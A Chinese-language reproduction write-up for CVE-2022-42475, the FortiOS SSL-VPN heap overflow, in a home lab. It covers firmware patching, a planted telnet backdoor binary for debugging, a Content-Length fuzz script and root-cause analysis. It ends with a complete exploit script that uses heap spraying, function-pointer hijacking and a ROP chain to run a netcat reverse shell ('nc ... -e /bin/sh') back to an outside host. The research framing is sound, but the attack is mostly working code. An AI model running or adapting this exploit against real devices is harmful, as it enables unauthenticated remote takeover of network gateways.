CVE-2022-42475 复现

本文复现CVE-2022-42475,版本v7.2.1.F-build1254

下载链接:

https://github.com/hegdepavankumar/Cisco-Images-for-GNS3-and-EVE-NG

license :

https://github.com/rrrrrrri/fgt-gadgets

1. 运行python3 license_old.py生成后前台设置时导入即可
Pasted image 20240806175558.png

新版:

1. 导入ovf,启动后初始化虚拟机,默认用户名admin,默认密码空
2. 初始化完成后关机,在虚拟机目录下有fo-disk1.vmdk生成
3. 将vmdk挂载到另外一个虚拟机中
4. 新版执行`python3 decrypt.py -f rootfs.gz -k flatkc`解密rootfs.gz
5. root权限解压rootfs.gz和bin.tar.xz
	```
	   gzip -d ./dec.gz
       mkdir rootfs
       cd rootfs && mv ../dec ./
       sudo su
       cpio -idmv < ./dec
       rm -rf ./dec
       xz -d ./bin.tar.xz && tar -xvf ./bin.tar && rm -rf ./bin.tar
       cd .. && mv ./rootfs/bin/init ./
	```
	
6. `python3 patch.py init` patch init文件
7. 重打包
	```
	   chmod 755 ./init.patched && mv ./init.patched ./rootfs/bin/init
       cd rootfs
       tar -cvf bin.tar bin && xz bin.tar && rm -rf bin
       find . | cpio -H newc -o > ../rootfs.raw && cd ..
       cat ./rootfs.raw | gzip > rootfs.gz
    ```
    
8. 'python3 patch.py flatkc' patch flatkc
9. 替换掉vmdisk的rootfs.gz和flatkc

网络配置:

https://blog.csdn.net/meigang2012/article/details/87903878
https://docs.fortinet.com/document/fortigate-private-cloud/7.2.0/vmware-esxi-administration-guide/615472/configuring-port-1

#配置port和ip
config system interface
edit port1
set mode static
set ip 192.168.122.99 255.255.255.0
set allowaccess ping https ssh http telnet
end

#配置网关
config router static
edit 1
set device port1
set gateway 192.168.122.128
end

VMware网络适配器设置为NAT,虚拟网络编辑器修改子网ip
Pasted image 20240807100542.png
进入后台后前往System/Settings修改
Pasted image 20240806175558.png
VPN/SSL-VPN门户
Pasted image 20240814105739.png

SSL-VPN设置
Pasted image 20240812101642.png

配置sslvpn的防火墙策略
Pasted image 20240814105636.png

Patch:

固件解包&&后门植入:

替换原版/bin/sh软链接为功能齐全的预编译busybox
传入预编译的gdbserver方便调试
将/bin/smartctl替换为开启telnet的后门,执行diagnose hardware smartctl触发
后门backdoor.c:

// gcc -s backdoor.c -o backdoor
#include <stdio.h>
#include <stdlib.h>

void shell()
{
    system("/bin/busybox ls");
    system("/bin/busybox id");
    system("/bin/busybox killall sshd && /bin/busybox telnetd -l /bin/sh -b 0.0.0.0 -p 22");
    system("/bin/busybox ash --login -s");
    return;
}

int main(int argc, char const *argv[])
{
    shell();
    return 0;
}

文件系统存在于gzip压缩的cpio中
其中fs中的.tar.xz的压缩包由fortigate魔改加密,需使用sbin/目录下的elf解压缩
下面给出提取及后门植入脚本,替换文件需跟脚本同一目录,root权限下执行

#!/bin/sh
echo "请将backdoor,busybox,gdbserver置于与脚本同一目录下"
chmod +x $PWD/*
mkdir -p $PWD/fs
cp /media/fk/FORTIOS/rootfs.gz $PWD
gzip -d rootfs.gz
cd $PWD/fs
cpio -idmv < ../rootfs
chroot . /sbin/xz --check=sha256 -d /bin.tar.xz
chroot . /sbin/ftar -xf /bin.tar
chroot . /sbin/xz --check=sha256 -d /migadmin.tar.xz
chroot . /sbin/ftar -xf /migadmin.tar
chroot . /sbin/xz --check=sha256 -d /usr.tar.xz
chroot . /sbin/ftar -xf /usr.tar
cp ../backdoor bin/smartctl 
cp ../busybox bin/busybox 
cp ../gdbserver* bin/gdbserver
chmod +777 bin/smartctl
chmod +777 bin/busybox
chmod +777 bin/gdbserver
rm bin/sh
ln -sn /bin/busybox bin/sh
echo "手动patch init..."

patch init后:

#!/bin/sh
echo "请将init置于与脚本同一目录下"
sudo cp init fs/bin/init
cd fs
find . | cpio -H newc -o > ../rootfs.raw
cd ..
cat ./rootfs.raw | gzip > rootfs.gz
rm rootfs.raw && rm rootfs
chmod -R 777 rootfs.gz

或者使用这里的auto-repack脚本:
https://github.com/rrrrrrri/fgt-auto-repack/blob/main/automatic_repack.py

fo.vmx修改开启debugStub

debugStub.listen.guest64 = "TRUE"
debugStub.listen.guest64.remote = "TRUE"
debugStub.port.guest64 = "12345"
debugStub.listen.guest32 = "TRUE"
debugStub.listen.guest32.remote = "TRUE"
debugStub.port.guest32 = "12346"

启动逻辑:

使用vmlinux-to-elf将内核flatkc转为elf分析一下启动逻辑

flatkc->/sbin/init->/bin/init

flatkc的init_post中fgt_verify有对文件哈希等等的检测
如果不能通过fgt_verify检测会启动/sbin/init

而/sbin/init会解压文件系统中的tar.xz压缩包

为了防止之前解压patch的文件被覆盖,我们需要绕过/sbin/init的执行
有两种patch方式
第一种便是启动vm的debug在启动时更改寄存器的值进而修改启动进程
第二种patch 内核elf后转回内核文件 (暂未验证:https://wzt.ac.cn/2024/04/02/fortigate_debug_env2/)

/bin/init中存在几个针对文件系统是否被修改的检查
通过启动时打印的System is starting定位函数
如果check失败会重启,这里我们将其do_halt函数第一条改成ret
![[Pasted image 20240812213039.png]]

Pasted image 20240812213049.png

debugStub调试

断在fgt_verify这里将返回值改为0即可进入if分支,同时将/sbin/init patch为 /bin/init,从而直接执行/bin/init
Pasted image 20240809110446.png
Pasted image 20240809105240.png

b *0xffffffff807ac117
c
ni
set $rax = 0
patch string 0xffffffff808f3591 "/bin/init"
patch byte 0xffffffff808f3591+9 0x00
Pasted image 20240809111721.png

patch成功后便能正常启动

此时输入diagnose hardware smartctl开启telnet后门 (记得编译后门和busybox的时候用对glibc版本,可以到文件系统下的lib/libc.so.6找,这个版本的最高支持到GLIBC_2.30
否则就会像下面这样
Pasted image 20240809112152.png

另外注意编译busybox的时候开启standalone shell,不然会提示applet not found
后门/bin/busybox ash --login -s即是开启standalone shell
Pasted image 20240809154630.png

漏洞验证:

根据:FortiOS sslvpnd 中存在基于堆的缓冲区溢出漏洞,可利用该漏洞在未经身份验证的情况下通过特制请求远程执行任意命令或代码
已知由Content-Length引起
这里用fuzz脚本测试:

import socket
import ssl

path = "/remote/login".encode()
content_length = ["0", "-1", "2147483647", "2147483648", "-0",
                  "4294967295", "4294967296", "1111111111111", "22222222222"]

# 2147483647 int max
# 2147483648 max+1 -> -2147483648
# 4294967295 unsigned int max
# 4294967296 max+1 -> 0
# 1111111111111
# 2222222222222

for CL in content_length:
    print("[+] "+str(CL)+" :")
    try:
        data = b"POST " + path + b" HTTP/1.1\r\nHost: 192.168.122.99\r\nContent-Length: " + \
            CL.encode() + b"\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\na=1"
        client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        _default_context = ssl._create_unverified_context()
        client = _default_context.wrap_socket(client)
        client.connect(("192.168.122.99", 1443))
        client.sendall(data)
        res = client.recv(1024)
        if b"HTTP/1.1" not in res:
            print("Error detected")
            print(CL)
            break
    except Exception as e:
        print(e)
        print("Error detected")
        print(CL)
        break

可以发现在CL设置为2147483647时出现错误
Pasted image 20240814150311.png
gdbserver调试,使用telnet的23端口:

killall telnetd && /bin/gdbserver 192.168.122.99:23 --attach $(ps|grep sslvpn|grep -v grep|awk '{print $1}')

Pasted image 20240814153201.png
backtrace:

pwndbg> bt
#0  0x00007f8cfaa4476d in __memset_avx2_erms () from target:/usr/lib/x86_64-linux-gnu/libc.so.6
#1  0x000000000164e5d9 in ?? ()
#2  0x0000000001785ac2 in ?? ()
#3  0x000000000177f48d in ?? ()
#4  0x0000000001780b40 in ?? ()
#5  0x0000000001780c1e in ?? ()
#6  0x0000000001781131 in ?? ()
#7  0x00000000017823dc in ?? ()
#8  0x0000000001783762 in ?? ()
#9  0x0000000000448ddf in ?? ()
#10 0x0000000000451eba in ?? ()
#11 0x000000000044ea1c in ?? ()
#12 0x0000000000451128 in ?? ()
#13 0x0000000000451a51 in ?? ()
#14 0x00007f8cfa90ddeb in __libc_start_main () from target:/usr/lib/x86_64-linux-gnu/libc.so.6
#15 0x0000000000443c7a in ?? ()

跟踪到最后memset调用处

void *__fastcall pool_alloc(__int64 a1, size_t a2)
{
  _QWORD *v2; // rax
  char *v3; // r8
  unsigned __int64 v4; // rbx
  unsigned __int64 v7; // rdi
  __int64 v8; // rax

  v2 = *(_QWORD **)(a1 + 8);
  v3 = (char *)v2[2];
  if ( a2 )
  {
    v4 = 8LL * (int)(((a2 - 1) >> 3) + 1);
    if ( (unsigned __int64)&v3[v4] > *v2 )
    {
      v7 = dword_A8AC5A4 - 25;
      if ( v7 < v4 )
        v7 = 8LL * (int)(((a2 - 1) >> 3) + 1);
      v8 = sub_164E140(v7);
      *(_QWORD *)(*(_QWORD *)(a1 + 8) + 8LL) = v8;
      *(_QWORD *)(a1 + 8) = v8;
      v3 = *(char **)(v8 + 16);
      *(_QWORD *)(v8 + 16) = &v3[v4];
    }
    else
    {
      v2[2] = &v3[v4];
    }
  }
  else
  {
    v3 = 0LL;
  }
  return memset(v3, 0, a2);
}

其中最后return的memset的a2参数来源于sub_17859D0中

  v1 = (__int64 *)a1[92];
  v2 = sub_17901D0(a1[83]);
  v3 = v2;
  if ( !*(_QWORD *)(v2 + 8) )
    *(_QWORD *)(v2 + 8) = pool_alloc(*v1, *(_DWORD *)(v2 + 24) + 1);// Content-Length 取4字节+1

现在poc触发时CL为2147483647,即0x7fffffff

mov     eax, [rax+18h]
mov     rdi, [r12]
lea     esi, [rax+1]
movsxd  rsi, esi
call    pool_alloc

这里movsxd为带符号扩展传送指令
将32位扩展为64位,当扩展一个负数的时候需要将扩展的高位全赋为1.对于正数而言,符号扩展和零扩展movzx是一样的,将扩展的高位全赋为0,而0x7fffffff+1后最高位符号位为1,所以经过扩展后rsi寄存器值为0xffffffff80000000,传递给memset转换为size_t无符号整数会导致内存溢出,崩溃

 ► 0x164e5d4    call   memset@plt                      <memset@plt>
        s: 0x7f8cf4a556c8 ◂— 0x0
        c: 0x0
        n: 0xffffffff80000000

而我们需要利用这一点,使得pool_alloc的堆块大小小于下方memcpy时位扩展后的大小,从而导致堆溢出

v1 = (__int64 *)a1[92];
  v2 = sub_17901D0(a1[83]);
  v3 = v2;
  if ( !*(_QWORD *)(v2 + 8) )
    *(_QWORD *)(v2 + 8) = pool_alloc(*v1, *(_DWORD *)(v2 + 24) + 1);// Content-Length 取4字节+1 , 分配小堆块
  v4 = sub_1662AC0(v1, v3 + 32, 8190LL);
  v5 = v4;
  if ( v4 )
  {
    if ( v4 < 0 )
    {
      if ( (unsigned int)sub_16593E0(a1[77]) - 1 <= 4 )
        return 0LL;
    }
    else
    {
      v6 = *(int *)(v3 + 16);
      v7 = *(_QWORD *)(v3 + 24);
      if ( (int)v6 + v4 > v7 )
        v5 = *(_QWORD *)(v3 + 24) - v6;
      if ( v7 > v6 )
      {
        memcpy((void *)(*(_QWORD *)(v3 + 8) + v6), (const void *)(v3 + 32), v5); // 堆溢出
        v10 = *(_QWORD *)(v3 + 24);
        v11 = *(_DWORD *)(v3 + 16) + v5;
        *(_DWORD *)(v3 + 16) = v11;
        if ( v11 < v10 )
          return 0LL;
      }
      else
      {
        v8 = *(_DWORD *)(v3 + 16) + v5;
        *(_DWORD *)(v3 + 16) = v8;
        if ( v8 < v7 )
          return 0LL;
      }
    }
  }
  return 2LL;
}

我们构造CL为0x100000000,断在0x1785ABD处,可以看出在经过位扩展后传入参数为1

 →  0x1785abd                  call   0x164e590
   ↳   0x164e590                  push   rbp
       0x164e591                  mov    rbp, rsp
       0x164e594                  push   r13
       0x164e596                  push   r12
       0x164e598                  mov    r12, rsi
       0x164e59b                  push   rbx
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── arguments (guessed) ────0x164e590 (
   $rdi = 0x00007f146c2fa018 → 0x00007f146c2fa000 → 0x00007f146c2fa400 → 0x00007f146c2fa800 → 0x0000000000000006,
   $rsi = 0x0000000000000001
)

然后到memcpy处

memcpy@plt (
   $rdi = 0x00007f146c2fa818 → 0x0000000000000000,
   $rsi = 0x00007f146c342038 → "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama[...]",
   $rdx = 0x0000000000001000,
   $rcx = 0x0000000000000000
)

此处可以发送超长data,能够堆溢出

漏洞利用:

现在能够进行堆溢出,但是如何劫持执行流呢,这里参考下面文章:
https://devco.re/blog/2019/08/09/attacking-ssl-vpn-part-2-breaking-the-Fortigate-ssl-vpn/
由于fortios虚拟机中只有一个web守护进程,使用epoll()处理连接,所以所有连接的所有内存操作都会在同一块堆上进行
而当我们发送HTTP请求时,会在堆上分配SSL结构体
而如果劫持SSL结构体中*handshake_func的函数指针,就能劫持执行流
所以现在的思路是:通过发送多个正常的HTTP请求在堆上喷射SSL结构体,再通过堆溢出覆盖这些结构体的函数指针达到劫持执行流的效果
Pasted image 20240815173039.png

相关汇编@sub_1780A20:

.text:0000000001780B00 48 8B 82 C0 00 00 00          mov     rax, [rdx+0C0h]
.text:0000000001780B07 4C 89 EF                      mov     rdi, r13
.text:0000000001780B0A 48 85 C0                      test    rax, rax
.text:0000000001780B0D 0F 84 85 00 00 00             jz      loc_1780B98
.text:0000000001780B0D
.text:0000000001780B13 5B                            pop     rbx
.text:0000000001780B14 41 5C                         pop     r12
.text:0000000001780B16 41 5D                         pop     r13
.text:0000000001780B18 41 5E                         pop     r14
.text:0000000001780B1A 5D                            pop     rbp
.text:0000000001780B1B FF E0                         jmp     rax

因此,我们可以将之前的fuzz脚本按照以下思路改造:
(某些步骤不一定需要或者有用):

1. 创建 60 个 sock 连接,并发送不完整的 http 请求,希望能在服务端分配多个 SSL 结构体
2. 从第 40 个开始间隔释放 10 个 sock 链接,希望在服务端释放几个 SSL 结构体的 Hole.
3. 分配用于溢出的 exp_sk
4. 再分配 20 个 sock 连接,多分配几个 SSL 结构体
5. 触发溢出,希望修改 SSL 结构体中的函数指针
6. 给其他 socket 发送数据,等待函数指针调用
7. 劫持函数指针后,切换栈到可控数据区,然后 ROP 计算栈地址,调用 mprotect 让栈区有可执行权限
8. jmp esp 跳转到栈上的 shellcode 执行。

以上是按照ret2mprotect的打法来的,这里我们poc直接打rop,利用我们上传的busybox演示即可
注意前面创建的socks连接目的是为了让堆平顺一点,真正溢出的是payload所在socks之后的连接
这里以前创建的socks连接里面CL的大小会影响堆上分配的结构体,我们选择2000,触发概率大一点

import socket
import ssl
from pwn import *

ip = "192.168.122.99"
port = 1443


path = "/remote/login".encode()
# content_length = ["0", "-1", "2147483647", "2147483648", "-0",
#                   "4294967295", "4294967296", "1111111111111", "22222222222"]

content_length = "115964116992"

# 2147483647 int max
# 2147483648 max+1 -> -2147483648
# 4294967295 unsigned int max
# 4294967296 max+1 -> 0
# 1111111111111
# 2222222222222

# 0x000000000043a016 : ret
ret = 0x000000000043a016
counter = 0


def create_ssl_ctx():
    _socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    _default_context = ssl._create_unverified_context()
    _socket = _default_context.wrap_socket(_socket)
    _socket.connect((ip, port))
    return _socket


socks = []

for i in range(60):
    sk = create_ssl_ctx()
    data = b"POST " + path + b" HTTP/1.1\r\nHost: 192.168.122.99\r\nContent-Length: 2000\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\na=1"
    sk.sendall(data)
    socks.append(sk)


# payload = B"A"*2592+p64(0xdeadbeef)
# payload = payload.ljust(0x2000, b"A")
payload = cyclic(0x4000)
print("[+] "+str(content_length)+" :")
data = b"POST " + path + b" HTTP/1.1\r\nHost: 192.168.122.99\r\nContent-Length: " + \
    content_length.encode() + \
    b"\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\n"+payload
client = create_ssl_ctx()


for i in range(20, 40, 2):
    sk = socks[i]
    sk.close()
    socks[i] = None


client.sendall(data)


for sk in socks:
    if sk:
        data = b"b" * 40
        sk.sendall(data)

为了方便调试,我们构造payload为cyclic(0x4000),有概率断在0x1780B1B处执行jmp rax,此时偏移为3616
可以劫持执行流
Pasted image 20240818183810.png

观察此时内存布局,并结合之前的汇编mov rax, [rdx+0C0h],我们可以在rdx地址上存储我们的rop链,并在+0xc0偏移处(即poc中的ret)存放我们的pivot gadget,并且gadget需要包含push rdx ; pop rsp,从而迁移到rop链处

init太大,输出到txt文件查找:

ROPgadget --binary "./init" > 3.txt

最终我们选择

0x0000000000febbaa : push rdx ; pop rsp ; add eax, 0x83480deb ; ret

剩下的gadget就比较好找了,注意最后堆上有脏数据记得padding

Pasted image 20240818204603.png
import socket
import ssl
from pwn import *

ip = "192.168.122.99"
port = 1443


path = "/remote/login".encode()
# content_length = ["0", "-1", "2147483647", "2147483648", "-0",
#                   "4294967295", "4294967296", "1111111111111", "22222222222"]

content_length = "115964116992"

# 2147483647 int max
# 2147483648 max+1 -> -2147483648
# 4294967295 unsigned int max
# 4294967296 max+1 -> 0
# 1111111111111
# 2222222222222

# 0x000000000043a016 : ret
ret = 0x000000000043a016
counter = 0


def create_ssl_ctx():
    _socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    _default_context = ssl._create_unverified_context()
    _socket = _default_context.wrap_socket(_socket)
    _socket.connect((ip, port))
    return _socket


socks = []

for i in range(60):
    sk = create_ssl_ctx()
    data = b"POST " + path + b" HTTP/1.1\r\nHost: 192.168.122.99\r\nContent-Length: 2000\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\na=1"
    sk.sendall(data)
    socks.append(sk)

for i in range(20, 40, 2):
    sk = socks[i]
    sk.close()
    socks[i] = None

# payload = cyclic(0x4000)

sys_addr = 0x00000000005693C5
# .text:00000000005693C5 E8 46 58 ED FF                call    _system

pivot_gadget = 0x0000000000febbaa
# 0x0000000000febbaa : push rdx ; pop rsp ; add eax, 0x83480deb ; ret

pop_rax = 0x000000000046bb27
# 0x000000000046bb27 : pop rax ; ret

pop_rax_rcx = 0x000000000060b2fe
# 0x000000000060b2fe : pop rax ; pop rcx ; ret


add_rdx_rax = 0x0000000002a0e0e0
# 0x0000000002a0e0e0 : add rdx, rax ; mov eax, edx ; sub eax, edi ; ret

push_rdx_pop_rdi = 0x000000000257008a
# 0x000000000257008a : push rdx ; pop rdi ; ret

pop_rsi = 0x0000000000530c8e
# 0x0000000000530c8e : pop rsi ; ret

pop_rdx = 0x0000000000509372
# 0x0000000000509372 : pop rdx ; ret

add_rcx_r13 = 0x0000000000aac1d0
# 0x0000000000aac1d0 : add rcx, r13 ; ret

payload = b"B"*(3616-0xc0)
payload += p64(pop_rax_rcx)
payload += p64(0x50)
payload += p64(add_rcx_r13)  # padding
payload += p64(add_rdx_rax)
payload += p64(push_rdx_pop_rdi)
payload += p64(pop_rsi)+p64(0)
payload += p64(pop_rdx)+p64(0)
payload += p64(sys_addr)
payload += b"/bin/busybox nc 192.168.122.128 4444 -e /bin/sh"
payload += b"\x00"
payload = payload.ljust(3616, b"A")+p64(pivot_gadget)
print("[+] "+str(content_length)+" :")
data = b"POST " + path + b" HTTP/1.1\r\nHost: 192.168.122.99\r\nContent-Length: " + \
    content_length.encode() + \
    b"\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\n"+payload
client = create_ssl_ctx()


for i in range(20):
    sk = create_ssl_ctx()
    socks.append(sk)


client.sendall(data)


for sk in socks:
    if sk:
        data = b"b" * 40
        sk.sendall(data)